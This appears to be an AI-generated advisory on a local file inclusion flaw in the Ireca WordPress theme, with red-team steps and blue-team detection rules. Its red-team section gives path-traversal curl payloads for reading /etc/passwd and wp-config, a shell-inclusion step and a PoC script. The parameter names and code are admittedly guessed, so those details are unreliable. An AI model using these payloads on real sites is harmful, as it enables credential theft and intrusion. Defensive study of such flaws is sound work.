CVE-2025-54716

Executive Summary

CVE-2025-54716 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Ovatheme Ireca WordPress theme, versions up to and including 1.8.5. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score of 8.1 (High) reflects the ease of exploitation and high confidentiality impact. No public exploit code or patch is currently available, making this a high-priority zero-day threat for WordPress sites using this theme.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, affecting the Ovatheme Ireca theme. As a commercial theme, it is typically distributed via theme marketplaces or direct purchase. The lack of a patch and the nature of the vulnerability (LFI) means that any site running this theme is at immediate risk. Organizations should treat this as a supply chain risk, as the theme's code is not open-source and the vendor's response is unknown. Immediate mitigation involves disabling or replacing the theme until an official patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full file read access.
• Integrity (I): None (N) - No file modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical threat for any site using the vulnerable theme.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) arising from the improper handling of a filename parameter passed to a PHP include() or require() function. In the Ovatheme Ireca theme, likely within a template or shortcode handler, a user-supplied input (e.g., via GET/POST parameter or a cookie) is used directly to construct a file path for inclusion without proper sanitization or validation.

For example, a vulnerable code snippet might look like:

$file = $_GET['file'];
include("themes/ireca/templates/" . $file . ".php");

An attacker can exploit this by using path traversal sequences (../) to escape the intended directory and include arbitrary files from the server. For instance:

http://target.com/?file=../../../../etc/passwd

This would attempt to include /etc/passwd, revealing system user information. More critically, an attacker could read the WordPress configuration file:

http://target.com/?file=../../../../wp-config

This would expose database credentials, salts, and other sensitive data.

The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), though in this case it is limited to local file inclusion (LFI) as the include path is restricted to the local filesystem.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (hypothetical):

<?php
// Vulnerable: Direct use of user input in include
$template = $_GET['template'];
include("templates/" . $template . ".php");
?>

Patched Code (hypothetical):

<?php
// Patched: Whitelist allowed templates
$allowed_templates = ['home', 'single', 'page'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include("templates/" . $template . ".php");
} else {
    // Handle error
    echo "Invalid template.";
}
?>

The patched version uses a whitelist approach, ensuring only predefined template names can be included. Alternatively, realpath() and path validation can be used to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Ovatheme Ireca <= 1.8.5.
• Knowledge of the vulnerable parameter (e.g., file, template, page). This can be discovered through source code review or fuzzing.

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy or browser to inspect the theme's requests. Look for parameters like ?file=, ?template=, or ?include= in URLs or POST data.

2. Test for LFI: Send a request with a path traversal payload to read a known file:

   curl "http://target.com/?file=../../../../etc/passwd"
   

   If the response contains the contents of /etc/passwd, the vulnerability is confirmed.

3. Read sensitive files: Extract the WordPress configuration:

   curl "http://target.com/?file=../../../../wp-config"
   

   This will reveal database credentials.

4. Attempt RCE (if possible): If the server allows file uploads (e.g., via media library), an attacker could upload a PHP shell as an image and then include it:

   curl "http://target.com/?file=../../../../wp-content/uploads/2025/01/shell.jpg"
   

   This requires the uploaded file to contain PHP code and the server to execute it.

Proof of Concept (PoC) Script:

import requests

target = "http://target.com"
vuln_param = "file"  # Adjust based on discovery
payload = "../../../../etc/passwd"

url = f"{target}/?{vuln_param}={payload}"
response = requests.get(url)

if "root:" in response.text:
    print("[+] LFI confirmed!")
    print(response.text)
else:
    print("[-] LFI not confirmed.")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to theme files with unexpected parameters.
• Use WAF rules to block directory traversal sequences.

Defense:

• Immediately disable or replace the Ovatheme Ireca theme.
• If replacement is not possible, implement a virtual patch using a WAF to block ../ sequences in request parameters.
• Restrict file permissions so that sensitive files (e.g., /etc/passwd, wp-config.php) are not readable by the web server user.
• Enable PHP open_basedir to restrict file inclusion to specific directories.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or %2e%2e%2f in parameters.
  • Requests to wp-content/themes/ireca/ with suspicious parameters.
  • Outbound connections from the web server to unknown IPs (if RCE is achieved).

• File System IOCs:

  • Unexpected files in the web root (e.g., shell.php, cmd.php).
  • Modified .htaccess files.
  • Unusual entries in wp-config.php or other configuration files.

• Log IOCs:

  • Web server logs showing 404 errors for non-existent files after path traversal attempts.
  • PHP error logs indicating failed include attempts.

Detection Engineering

YARA Rule

rule CVE_2025_54716_LFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-54716 LFI in Ovatheme Ireca"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54716"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
        $ireca_theme = /wp-content\/themes\/ireca/i
        $php_include = /include|require/i
    condition:
        $path_traversal and $ireca_theme and $php_include
}

Sigma Rule

title: CVE-2025-54716 LFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting Ovatheme Ireca theme
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/themes/ireca/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in theme files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54716 LFI Exploitation Attempt"; flow:to_server,established; content:"/wp-content/themes/ireca/"; http_uri; content:"../"; http_uri; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ovatheme Ireca theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block path traversal sequences (../, %2e%2e%2f) in all request parameters.
3. Review server logs for any signs of exploitation (e.g., requests containing ../ to theme files).

Long-term Fix:

• Apply the official patch once released by Ovatheme. Monitor their website or changelog for updates.
• Replace the theme with a more secure alternative if the vendor does not provide a timely patch.
• Conduct a security audit of all WordPress themes and plugins to identify similar vulnerabilities.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant | CVE-2025-54716 | Ovatheme Ireca LFI